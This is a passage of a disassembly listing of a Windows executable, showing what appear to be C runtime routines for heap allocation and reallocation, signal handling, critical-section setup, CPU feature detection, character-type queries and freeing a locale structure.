loc_417DA8: ; CODE XREF: sub_417D65+13j
; sub_417D65+22j
imul ecx, [ebp+arg_4]
mov esi, ecx
mov [ebp+arg_0], esi
cmp esi, edi
jnz short loc_417DB8
xor esi, esi
inc esi
loc_417DB8: ; CODE XREF: sub_417D65+4Ej
; sub_417D65+DBj
xor ebx, ebx
mov [ebp+var_1C], ebx
cmp esi, 0FFFFFFE0h
ja short loc_417E2B
cmp dword_424EC4, 3
jnz short loc_417E16
add esi, 0Fh
and esi, 0FFFFFFF0h
mov [ebp+arg_4], esi
mov eax, [ebp+arg_0]
cmp eax, dword_424EB4
ja short loc_417E16
push 4
call sub_416DA6
pop ecx
mov [ebp+ms_exc.disabled], edi
push [ebp+arg_0]
call sub_4175F3
pop ecx
mov [ebp+var_1C], eax
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_417E61
mov ebx, [ebp+var_1C]
cmp ebx, edi
jz short loc_417E1A
push [ebp+arg_0]
push edi
push ebx
call sub_40DD10
add esp, 0Ch
loc_417E16: ; CODE XREF: sub_417D65+64j
; sub_417D65+78j
cmp ebx, edi
jnz short loc_417E7B
loc_417E1A: ; CODE XREF: sub_417D65+A2j
push esi
push 8
push dword_42487C
call dword_41C130 ; RtlAllocateHeap
mov ebx, eax
loc_417E2B: ; CODE XREF: sub_417D65+5Bj
cmp ebx, edi
jnz short loc_417E7B
cmp dword_424D0C, edi
jz short loc_417E6A
push esi
call sub_412B12
pop ecx
test eax, eax
jnz loc_417DB8
mov eax, [ebp+arg_8]
cmp eax, edi
jz loc_417DA1
mov dword ptr [eax], 0Ch
jmp loc_417DA1
sub_417D65 endp
; =============== S U B R O U T I N E =======================================
sub_417E5C proc near ; DATA XREF: .vty:0041FD30o
xor edi, edi
mov esi, [ebp+0Ch]
sub_417E5C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417E61 proc near ; CODE XREF: sub_417D65+98p
push 4
call sub_416CCE
pop ecx
retn
sub_417E61 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_417D65
loc_417E6A: ; CODE XREF: sub_417D65+D0j
cmp ebx, edi
jnz short loc_417E7B
mov eax, [ebp+arg_8]
cmp eax, edi
jz short loc_417E7B
mov dword ptr [eax], 0Ch
loc_417E7B: ; CODE XREF: sub_417D65+B3j
; sub_417D65+C8j ...
mov eax, ebx
loc_417E7D: ; CODE XREF: sub_417D65+3Ej
call __SEH_epilog4
retn
; END OF FUNCTION CHUNK FOR sub_417D65
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E83 proc near ; CODE XREF: sub_4123AB+Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 00417FD0 SIZE 000000CE BYTES
push 10h
push offset dword_41FD38
call __SEH_prolog4
mov ebx, [ebp+arg_0]
test ebx, ebx
jnz short loc_417EA4
push [ebp+arg_4]
call sub_411069
pop ecx
jmp loc_418070
; ---------------------------------------------------------------------------
loc_417EA4: ; CODE XREF: sub_417E83+11j
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_417EB7
push ebx
call sub_41112C
pop ecx
jmp loc_41806E
; ---------------------------------------------------------------------------
loc_417EB7: ; CODE XREF: sub_417E83+26j
cmp dword_424EC4, 3
jnz loc_418057
loc_417EC4: ; CODE XREF: sub_417E83+169j
xor edi, edi
mov [ebp+var_1C], edi
cmp esi, 0FFFFFFE0h
ja loc_41805C
push 4
call sub_416DA6
pop ecx
mov [ebp+ms_exc.disabled], edi
push ebx
call sub_416E1F
pop ecx
mov [ebp+var_20], eax
cmp eax, edi
jz loc_417F8D
cmp esi, dword_424EB4
ja short loc_417F40
push esi
push ebx
push eax
call sub_417314
add esp, 0Ch
test eax, eax
jz short loc_417F0B
mov [ebp+var_1C], ebx
jmp short loc_417F40
; ---------------------------------------------------------------------------
loc_417F0B: ; CODE XREF: sub_417E83+81j
push esi
call sub_4175F3
pop ecx
mov [ebp+var_1C], eax
cmp eax, edi
jz short loc_417F40
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_417F23
mov eax, esi
loc_417F23: ; CODE XREF: sub_417E83+9Cj
push eax
push ebx
push [ebp+var_1C]
call sub_410050
push ebx
call sub_416E1F
mov [ebp+var_20], eax
push ebx
push eax
call sub_416E4A
add esp, 18h
loc_417F40: ; CODE XREF: sub_417E83+72j
; sub_417E83+86j ...
cmp [ebp+var_1C], edi
jnz short loc_417F8D
cmp esi, edi
jnz short loc_417F4F
xor esi, esi
inc esi
mov [ebp+arg_4], esi
loc_417F4F: ; CODE XREF: sub_417E83+C4j
add esi, 0Fh
and esi, 0FFFFFFF0h
mov [ebp+arg_4], esi
push esi
push edi
push dword_42487C
call dword_41C130 ; RtlAllocateHeap
mov [ebp+var_1C], eax
cmp eax, edi
jz short loc_417F8D
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_417F77
mov eax, esi
loc_417F77: ; CODE XREF: sub_417E83+F0j
push eax
push ebx
push [ebp+var_1C]
call sub_410050
push ebx
push [ebp+var_20]
call sub_416E4A
add esp, 14h
loc_417F8D: ; CODE XREF: sub_417E83+66j
; sub_417E83+C0j ...
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_417FC7
cmp [ebp+var_20], 0
jnz short loc_417FD0
test esi, esi
jnz short loc_417FA4
inc esi
loc_417FA4: ; CODE XREF: sub_417E83+11Ej
add esi, 0Fh
and esi, 0FFFFFFF0h
mov [ebp+arg_4], esi
push esi
push ebx
push 0
push dword_42487C
call dword_41C04C ; RtlReAllocateHeap
mov edi, eax
jmp short loc_417FD3
sub_417E83 endp
; =============== S U B R O U T I N E =======================================
sub_417FC1 proc near ; DATA XREF: .vty:0041FD50o
mov esi, [ebp+0Ch]
mov ebx, [ebp+8]
sub_417FC1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417FC7 proc near ; CODE XREF: sub_417E83+111p
push 4
call sub_416CCE
pop ecx
retn
sub_417FC7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_417E83
loc_417FD0: ; CODE XREF: sub_417E83+11Aj
mov edi, [ebp+var_1C]
loc_417FD3: ; CODE XREF: sub_417E83+13Cj
test edi, edi
jnz loc_41809A
cmp dword_424D0C, edi
jz short loc_41800F
push esi
call sub_412B12
pop ecx
test eax, eax
jnz loc_417EC4
call sub_40F79E
cmp [ebp+var_20], edi
jnz short loc_418068
loc_417FFC: ; CODE XREF: sub_417E83+1F8j
mov esi, eax
call dword_41C0A4 ; RtlGetLastWin32Error
push eax
call sub_40F763
pop ecx
mov [esi], eax
jmp short loc_41806E
; ---------------------------------------------------------------------------
loc_41800F: ; CODE XREF: sub_417E83+15Ej
test edi, edi
jnz loc_41809A
call sub_40F79E
cmp [ebp+var_20], edi
jz short loc_418089
mov dword ptr [eax], 0Ch
jmp short loc_41809A
; ---------------------------------------------------------------------------
loc_418029: ; CODE XREF: sub_417E83+1D7j
test esi, esi
jnz short loc_41802E
inc esi
loc_41802E: ; CODE XREF: sub_417E83+1A8j
push esi
push ebx
push 0
push dword_42487C
call dword_41C04C ; RtlReAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_41809A
cmp dword_424D0C, eax
jz short loc_418080
push esi
call sub_412B12
pop ecx
test eax, eax
jz short loc_418076
loc_418057: ; CODE XREF: sub_417E83+3Bj
cmp esi, 0FFFFFFE0h
jbe short loc_418029
loc_41805C: ; CODE XREF: sub_417E83+49j
push esi
call sub_412B12
pop ecx
call sub_40F79E
loc_418068: ; CODE XREF: sub_417E83+177j
mov dword ptr [eax], 0Ch
loc_41806E: ; CODE XREF: sub_417E83+2Fj
; sub_417E83+18Aj
xor eax, eax
loc_418070: ; CODE XREF: sub_417E83+1Cj
; sub_417E83+219j
call __SEH_epilog4
retn
; ---------------------------------------------------------------------------
loc_418076: ; CODE XREF: sub_417E83+1D2j
call sub_40F79E
jmp loc_417FFC
; ---------------------------------------------------------------------------
loc_418080: ; CODE XREF: sub_417E83+1C7j
test edi, edi
jnz short loc_41809A
call sub_40F79E
loc_418089: ; CODE XREF: sub_417E83+19Cj
mov esi, eax
call dword_41C0A4 ; RtlGetLastWin32Error
push eax
call sub_40F763
mov [esi], eax
pop ecx
loc_41809A: ; CODE XREF: sub_417E83+152j
; sub_417E83+18Ej ...
mov eax, edi
jmp short loc_418070
; END OF FUNCTION CHUNK FOR sub_417E83
; =============== S U B R O U T I N E =======================================
sub_41809E proc near ; CODE XREF: sub_412755+27p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_424D14, eax
mov dword_424D18, eax
mov dword_424D1C, eax
mov dword_424D20, eax
retn
sub_41809E endp
; =============== S U B R O U T I N E =======================================
sub_4180B7 proc near ; CODE XREF: sub_4180F8+5Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, dword_423C64
push esi
loc_4180C2: ; CODE XREF: sub_4180B7+1Ej
cmp [eax+4], edx
jz short loc_4180D7
mov esi, ecx
imul esi, 0Ch
add esi, [esp+4+arg_0]
add eax, 0Ch
cmp eax, esi
jb short loc_4180C2
loc_4180D7: ; CODE XREF: sub_4180B7+Ej
imul ecx, 0Ch
add ecx, [esp+4+arg_0]
pop esi
cmp eax, ecx
jnb short loc_4180E8
cmp [eax+4], edx
jz short locret_4180EA
loc_4180E8: ; CODE XREF: sub_4180B7+2Aj
xor eax, eax
locret_4180EA: ; CODE XREF: sub_4180B7+2Fj
retn
sub_4180B7 endp
; =============== S U B R O U T I N E =======================================
sub_4180EB proc near ; CODE XREF: sub_41411B:loc_414148p
push dword_424D1C
call sub_411DBF
pop ecx
retn
sub_4180EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4180F8 proc near ; CODE XREF: sub_41411B+38p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 004182A2 SIZE 00000006 BYTES
push 20h
push offset dword_41FD58
call __SEH_prolog4
xor edi, edi
mov [ebp+var_1C], edi
mov [ebp+var_28], edi
mov ebx, [ebp+arg_0]
cmp ebx, 0Bh
jg short loc_418160
jz short loc_41812B
mov eax, ebx
push 2
pop ecx
sub eax, ecx
jz short loc_418141
sub eax, ecx
jz short loc_41812B
sub eax, ecx
jz short loc_41818B
sub eax, ecx
jnz short loc_41816F
loc_41812B: ; CODE XREF: sub_4180F8+1Cj
; sub_4180F8+29j
call sub_411F7A
mov edi, eax
mov [ebp+var_28], edi
test edi, edi
jnz short loc_41814D
loc_418139: ; CODE XREF: sub_4180F8+91j
or eax, 0FFFFFFFFh
jmp loc_4182A2
; ---------------------------------------------------------------------------
loc_418141: ; CODE XREF: sub_4180F8+25j
mov esi, offset dword_424D14
mov eax, dword_424D14
jmp short loc_4181AD
; ---------------------------------------------------------------------------
loc_41814D: ; CODE XREF: sub_4180F8+3Fj
push dword ptr [edi+5Ch]
mov edx, ebx
call sub_4180B7
mov esi, eax
add esi, 8
mov eax, [esi]
jmp short loc_4181BA
; ---------------------------------------------------------------------------
loc_418160: ; CODE XREF: sub_4180F8+1Aj
mov eax, ebx
sub eax, 0Fh
jz short loc_4181A3
sub eax, 6
jz short loc_418197
dec eax
jz short loc_41818B
loc_41816F: ; CODE XREF: sub_4180F8+31j
call sub_40F79E
mov dword ptr [eax], 16h
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call sub_40DCD8
add esp, 14h
jmp short loc_418139
; ---------------------------------------------------------------------------
loc_41818B: ; CODE XREF: sub_4180F8+2Dj
; sub_4180F8+75j
mov esi, offset dword_424D1C
mov eax, dword_424D1C
jmp short loc_4181AD
; ---------------------------------------------------------------------------
loc_418197: ; CODE XREF: sub_4180F8+72j
mov esi, offset dword_424D18
mov eax, dword_424D18
jmp short loc_4181AD
; ---------------------------------------------------------------------------
loc_4181A3: ; CODE XREF: sub_4180F8+6Dj
mov esi, offset dword_424D20
mov eax, dword_424D20
loc_4181AD: ; CODE XREF: sub_4180F8+53j
; sub_4180F8+9Dj ...
mov [ebp+var_1C], 1
push eax
call sub_411DBF
loc_4181BA: ; CODE XREF: sub_4180F8+66j
mov [ebp+var_20], eax
pop ecx
xor eax, eax
cmp [ebp+var_20], 1
jz loc_4182A2
cmp [ebp+var_20], eax
jnz short loc_4181D6
push 3
call sub_412726
loc_4181D6: ; CODE XREF: sub_4180F8+D5j
cmp [ebp+var_1C], eax
jz short loc_4181E2
push eax
call sub_416DA6
pop ecx
loc_4181E2: ; CODE XREF: sub_4180F8+E1j
xor eax, eax
mov [ebp+ms_exc.disabled], eax
cmp ebx, 8
jz short loc_4181F6
cmp ebx, 0Bh
jz short loc_4181F6
cmp ebx, 4
jnz short loc_418211
loc_4181F6: ; CODE XREF: sub_4180F8+F2j
; sub_4180F8+F7j
mov ecx, [edi+60h]
mov [ebp+var_2C], ecx
mov [edi+60h], eax
cmp ebx, 8
jnz short loc_418244
mov ecx, [edi+64h]
mov [ebp+var_30], ecx
mov dword ptr [edi+64h], 8Ch
loc_418211: ; CODE XREF: sub_4180F8+FCj
cmp ebx, 8
jnz short loc_418244
mov ecx, dword_423C58
mov [ebp+var_24], ecx
loc_41821F: ; CODE XREF: sub_4180F8+14Aj
mov ecx, dword_423C5C
mov edx, dword_423C58
add ecx, edx
cmp [ebp+var_24], ecx
jge short loc_41824B
mov ecx, [ebp+var_24]
imul ecx, 0Ch
mov edx, [edi+5Ch]
mov [ecx+edx+8], eax
inc [ebp+var_24]
jmp short loc_41821F
; ---------------------------------------------------------------------------
loc_418244: ; CODE XREF: sub_4180F8+10Aj
; sub_4180F8+11Cj
call sub_411DB6
mov [esi], eax
loc_41824B: ; CODE XREF: sub_4180F8+138j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_41826C
cmp ebx, 8
jnz short sub_41827B
push dword ptr [edi+64h]
push ebx
call [ebp+var_20]
pop ecx
jmp short loc_41827F
sub_4180F8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_418266 proc near ; DATA XREF: .vty:0041FD70o
mov ebx, [ebp+8]
mov edi, [ebp-28h]
sub_418266 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41826C proc near ; CODE XREF: sub_4180F8+15Ap
cmp dword ptr [ebp-1Ch], 0
jz short locret_41827A
push 0
call sub_416CCE
pop ecx
locret_41827A: ; CODE XREF: sub_41826C+4j
retn
sub_41826C endp
; =============== S U B R O U T I N E =======================================
sub_41827B proc near ; CODE XREF: sub_4180F8+162j
push ebx
call dword ptr [ebp-20h]
loc_41827F: ; CODE XREF: sub_4180F8+16Cj
pop ecx
cmp ebx, 8
jz short loc_41828F
cmp ebx, 0Bh
jz short loc_41828F
cmp ebx, 4
jnz short loc_4182A0
loc_41828F: ; CODE XREF: sub_41827B+8j
; sub_41827B+Dj
mov eax, [ebp-2Ch]
mov [edi+60h], eax
cmp ebx, 8
jnz short loc_4182A0
mov eax, [ebp-30h]
mov [edi+64h], eax
loc_4182A0: ; CODE XREF: sub_41827B+12j
; sub_41827B+1Dj
xor eax, eax
sub_41827B endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_4180F8
loc_4182A2: ; CODE XREF: sub_4180F8+44j
; sub_4180F8+CCj
call __SEH_epilog4
retn
; END OF FUNCTION CHUNK FOR sub_4180F8
; =============== S U B R O U T I N E =======================================
sub_4182A8 proc near ; CODE XREF: sub_412755+21p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_424D28, eax
retn
sub_4182A8 endp
; =============== S U B R O U T I N E =======================================
sub_4182B2 proc near ; CODE XREF: sub_412755+Fp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_424D2C, eax
retn
sub_4182B2 endp
; =============== S U B R O U T I N E =======================================
sub_4182BC proc near ; DATA XREF: sub_4182CC:loc_418331o
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_41C068 ; InitializeCriticalSection
xor eax, eax
inc eax
retn 8
sub_4182BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4182CC proc near ; CODE XREF: sub_413E9F+B5p
; sub_41593C+15Fp ...
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push 14h
push offset dword_41FD78
call __SEH_prolog4
xor edi, edi
mov [ebp+var_1C], edi
push dword_424D2C
call sub_411DBF
pop ecx
mov esi, eax
cmp esi, edi
jnz short loc_418342
lea eax, [ebp+var_1C]
push eax
call sub_412542
pop ecx
cmp eax, edi
jz short loc_41830A
push edi
push edi
push edi
push edi
push edi
call sub_40DBDC
add esp, 14h
loc_41830A: ; CODE XREF: sub_4182CC+2Fj
cmp [ebp+var_1C], 1
jz short loc_418331
push offset aKernel32_dll ; "kernel32.dll"
call dword_41C0C4 ; GetModuleHandleA
cmp eax, edi
jz short loc_418331
push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
push eax
call dword_41C0AC ; GetProcAddress
mov esi, eax
cmp esi, edi
jnz short loc_418336
loc_418331: ; CODE XREF: sub_4182CC+42j
; sub_4182CC+51j
mov esi, offset sub_4182BC
loc_418336: ; CODE XREF: sub_4182CC+63j
push esi
call sub_411D53
pop ecx
mov dword_424D2C, eax
loc_418342: ; CODE XREF: sub_4182CC+21j
mov [ebp+ms_exc.disabled], edi
push [ebp+arg_4]
push [ebp+arg_0]
call esi
mov [ebp+var_20], eax
jmp short loc_418381
; ---------------------------------------------------------------------------
mov eax, [ebp+ms_exc.exc_ptr]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_24], eax
xor ecx, ecx
cmp eax, 0C0000017h
setz cl
mov eax, ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+ms_exc.old_esp]
cmp [ebp+var_24], 0C0000017h
jnz short loc_41837D
push 8
call dword_41C154 ; RtlSetLastWin32Error
loc_41837D: ; CODE XREF: sub_4182CC+A7j
and [ebp+var_20], 0
loc_418381: ; CODE XREF: sub_4182CC+84j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
mov eax, [ebp+var_20]
call __SEH_epilog4
retn
sub_4182CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418391 proc near ; CODE XREF: sub_4183E1+4Dp
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 0Ch
push offset dword_41FD98
call __SEH_prolog4
and [ebp+ms_exc.disabled], 0
movapd xmm0, xmm1
mov [ebp+var_1C], 1
jmp short loc_4183D1
; ---------------------------------------------------------------------------
mov eax, [ebp+ms_exc.exc_ptr]
mov eax, [eax]
mov eax, [eax]
cmp eax, 0C0000005h
jz short loc_4183C6
cmp eax, 0C000001Dh
jz short loc_4183C6
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4183C6: ; CODE XREF: sub_418391+29j
; sub_418391+30j
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+ms_exc.old_esp]
and [ebp+var_1C], 0
loc_4183D1: ; CODE XREF: sub_418391+1Bj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
mov eax, [ebp+var_1C]
call __SEH_epilog4
retn
sub_418391 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4183E1 proc near ; CODE XREF: sub_412A84+7p sub_418441p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
xor eax, eax
push ebx
mov [ebp+var_4], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
push ebx
pushf
pop eax
mov ecx, eax
xor eax, 200000h
push eax
popf
pushf
pop edx
sub edx, ecx
jz short loc_418424
push ecx
popf
xor eax, eax
cpuid
mov [ebp+var_C], eax
mov [ebp+var_18], ebx
mov [ebp+var_14], edx
mov [ebp+var_10], ecx
mov eax, 1
cpuid
mov [ebp+var_4], edx
mov [ebp+var_8], eax
loc_418424: ; CODE XREF: sub_4183E1+22j
pop ebx
test [ebp+var_4], 4000000h
jz short loc_41843C
call sub_418391
test eax, eax
jz short loc_41843C
xor eax, eax
inc eax
jmp short loc_41843E
; ---------------------------------------------------------------------------
loc_41843C: ; CODE XREF: sub_4183E1+4Bj
; sub_4183E1+54j
xor eax, eax
loc_41843E: ; CODE XREF: sub_4183E1+59j
pop ebx
leave
retn
sub_4183E1 endp
; =============== S U B R O U T I N E =======================================
sub_418441 proc near ; DATA XREF: .vty:0041C23Co
call sub_4183E1
mov dword_426008, eax
xor eax, eax
retn
sub_418441 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41844E proc near ; CODE XREF: sub_418606+29p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4231C4
xor eax, ebp
mov [ebp+var_4], eax
mov eax, dword_424D6C
push ebx
push esi
xor ebx, ebx
cmp eax, ebx
push edi
mov edi, ecx
jnz short loc_4184A7
lea eax, [ebp+var_8]
push eax
xor esi, esi
inc esi
push esi
push offset dword_41C81C
push esi
call dword_41C03C ; GetStringTypeW
test eax, eax
jz short loc_41848D
mov dword_424D6C, esi
jmp short loc_4184C1
; ---------------------------------------------------------------------------
loc_41848D: ; CODE XREF: sub_41844E+35j
call dword_41C0A4 ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_4184A2
push 2
pop eax
mov dword_424D6C, eax
jmp short loc_4184A7
; ---------------------------------------------------------------------------
loc_4184A2: ; CODE XREF: sub_41844E+48j
mov eax, dword_424D6C
loc_4184A7: ; CODE XREF: sub_41844E+1Dj
; sub_41844E+52j
cmp eax, 2
jz loc_41857F
cmp eax, ebx
jz loc_41857F
cmp eax, 1
jnz loc_4185A9
loc_4184C1: ; CODE XREF: sub_41844E+3Dj
cmp [ebp+arg_10], ebx
mov [ebp+var_8], ebx
jnz short loc_4184D1
mov eax, [edi]
mov eax, [eax+4]
mov [ebp+arg_10], eax
loc_4184D1: ; CODE XREF: sub_41844E+79j
mov esi, dword_41C174
xor eax, eax
cmp [ebp+arg_18], ebx
push ebx
push ebx
push [ebp+arg_8]
setnz al
push [ebp+arg_4]
lea eax, ds:1[eax*8]
push eax
push [ebp+arg_10]
call esi ; MultiByteToWideChar
mov edi, eax
cmp edi, ebx
jz loc_4185A9
jle short loc_41853C
cmp edi, 7FFFFFF0h
ja short loc_41853C
lea eax, [edi+edi+8]
cmp eax, 400h
ja short loc_418526
call sub_418C60
mov eax, esp
cmp eax, ebx
jz short loc_41853A
mov dword ptr [eax], 0CCCCh
jmp short loc_418537
; ---------------------------------------------------------------------------
loc_418526: ; CODE XREF: sub_41844E+C3j
push eax
call sub_411069
cmp eax, ebx
pop ecx
jz short loc_41853A
mov dword ptr [eax], 0DDDDh
loc_418537: ; CODE XREF: sub_41844E+D6j
add eax, 8
loc_41853A: ; CODE XREF: sub_41844E+CEj
; sub_41844E+E1j
mov ebx, eax
loc_41853C: ; CODE XREF: sub_41844E+B0j
; sub_41844E+B8j
test ebx, ebx
jz short loc_4185A9
lea eax, [edi+edi]
push eax
push 0
push ebx
call sub_40DD10
add esp, 0Ch
push edi
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call esi ; MultiByteToWideChar
test eax, eax
jz short loc_418573
push [ebp+arg_C]
push eax
push ebx
push [ebp+arg_0]
call dword_41C03C ; GetStringTypeW
mov [ebp+var_8], eax
loc_418573: ; CODE XREF: sub_41844E+112j
push ebx
call sub_413588
mov eax, [ebp+var_8]
pop ecx
jmp short loc_4185F4
; ---------------------------------------------------------------------------
loc_41857F: ; CODE XREF: sub_41844E+5Cj
; sub_41844E+64j
xor esi, esi
cmp [ebp+arg_14], ebx
jnz short loc_41858E
mov eax, [edi]
mov eax, [eax+14h]
mov [ebp+arg_14], eax
loc_41858E: ; CODE XREF: sub_41844E+136j
cmp [ebp+arg_10], ebx
jnz short loc_41859B
mov eax, [edi]
mov eax, [eax+4]
mov [ebp+arg_10], eax
loc_41859B: ; CODE XREF: sub_41844E+143j
push [ebp+arg_14]
call sub_418A60
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4185AD
loc_4185A9: ; CODE XREF: sub_41844E+6Dj
; sub_41844E+AAj ...
xor eax, eax
jmp short loc_4185F4
; ---------------------------------------------------------------------------
loc_4185AD: ; CODE XREF: sub_41844E+159j
cmp eax, [ebp+arg_10]
jz short loc_4185D0
push ebx
push ebx
lea ecx, [ebp+arg_8]
push ecx
push [ebp+arg_4]
push eax
push [ebp+arg_10]
call sub_418AA7
mov esi, eax
add esp, 18h
cmp esi, ebx
jz short loc_4185A9
mov [ebp+arg_4], esi
loc_4185D0: ; CODE XREF: sub_41844E+162j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push [ebp+arg_14]
call dword_41C040 ; GetStringTypeA
cmp esi, ebx
mov edi, eax
jz short loc_4185F2
push esi
call sub_41112C
pop ecx
loc_4185F2: ; CODE XREF: sub_41844E+19Bj
mov eax, edi
loc_4185F4: ; CODE XREF: sub_41844E+12Fj
; sub_41844E+15Dj
lea esp, [ebp-14h]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_4]
xor ecx, ebp
call sub_410BCD
leave
retn
sub_41844E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418606 proc near ; CODE XREF: sub_412C77+96p
; sub_4139CC+83p
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 10h
push [ebp+arg_0]
lea ecx, [ebp+var_10]
call sub_40F7E2
push [ebp+arg_1C]
lea ecx, [ebp+var_10]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_41844E
add esp, 1Ch
cmp [ebp+var_4], 0
jz short locret_418644
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
locret_418644: ; CODE XREF: sub_418606+35j
leave
retn
sub_418606 endp
; =============== S U B R O U T I N E =======================================
sub_418646 proc near ; CODE XREF: sub_413282+E9p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz loc_4187D4
push dword ptr [esi+4]
call sub_41112C
push dword ptr [esi+8]
call sub_41112C
push dword ptr [esi+0Ch]
call sub_41112C
push dword ptr [esi+10h]
call sub_41112C
push dword ptr [esi+14h]
call sub_41112C
push dword ptr [esi+18h]
call sub_41112C
push dword ptr [esi]
call sub_41112C
push dword ptr [esi+20h]
call sub_41112C
push dword ptr [esi+24h]
call sub_41112C
push dword ptr [esi+28h]
call sub_41112C
push dword ptr [esi+2Ch]
call sub_41112C
push dword ptr [esi+30h]
call sub_41112C
push dword ptr [esi+34h]
call sub_41112C
push dword ptr [esi+1Ch]
call sub_41112C
push dword ptr [esi+38h]
call sub_41112C
push dword ptr [esi+3Ch]
call sub_41112C
add esp, 40h
push dword ptr [esi+40h]
call sub_41112C
push dword ptr [esi+44h]
call sub_41112C
push dword ptr [esi+48h]
call sub_41112C
push dword ptr [esi+4Ch]
call sub_41112C
push dword ptr [esi+50h]
call sub_41112C
push dword ptr [esi+54h]
call sub_41112C
push dword ptr [esi+58h]
call sub_41112C
push dword ptr [esi+5Ch]
call sub_41112C
push dword ptr [esi+60h]
call sub_41112C
push dword ptr [esi+64h]
call sub_41112C
push dword ptr [esi+68h]
call sub_41112C
push dword ptr [esi+6Ch]
call sub_41112C
push dword ptr [esi+70h]
call sub_41112C
push dword ptr [esi+74h]
call sub_41112C
push dword ptr [esi+78h]
call sub_41112C
push dword ptr [esi+7Ch]
call sub_41112C
add esp, 40h
push dword ptr [esi+80h]
call sub_41112C
push dword ptr [esi+84h]
call sub_41112C
push dword ptr [esi+88h]
call sub_41112C
push dword ptr [esi+8Ch]
call sub_41112C
push dword ptr [esi+90h]
call sub_41112C
push dword ptr [esi+94h]
call sub_41112C
push dword ptr [esi+98h]
call sub_41112C
push dword ptr [esi+9Ch]
call sub_41112C
push dword ptr [esi+0A0h]
call sub_41112C
push dword ptr [esi+0A4h]
call sub_41112C
push dword ptr [esi+0A8h]
call sub_41112C
add esp, 2Ch
loc_4187D4: ; CODE XREF: sub_418646+7j
pop esi
retn
sub_418646 endp
; =============== S U B R O U T I N E =======================================
sub_4187D6 proc near ; CODE XREF: sub_413282+64p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_418814
mov eax, [esi]
cmp eax, off_423ED8
jz short loc_4187F0
push eax
call sub_41112C
pop ecx
loc_4187F0: ; CODE XREF: sub_4187D6+11j
mov eax, [esi+4]
cmp eax, off_423EDC
jz short loc_418802
push eax
call sub_41112C
pop ecx
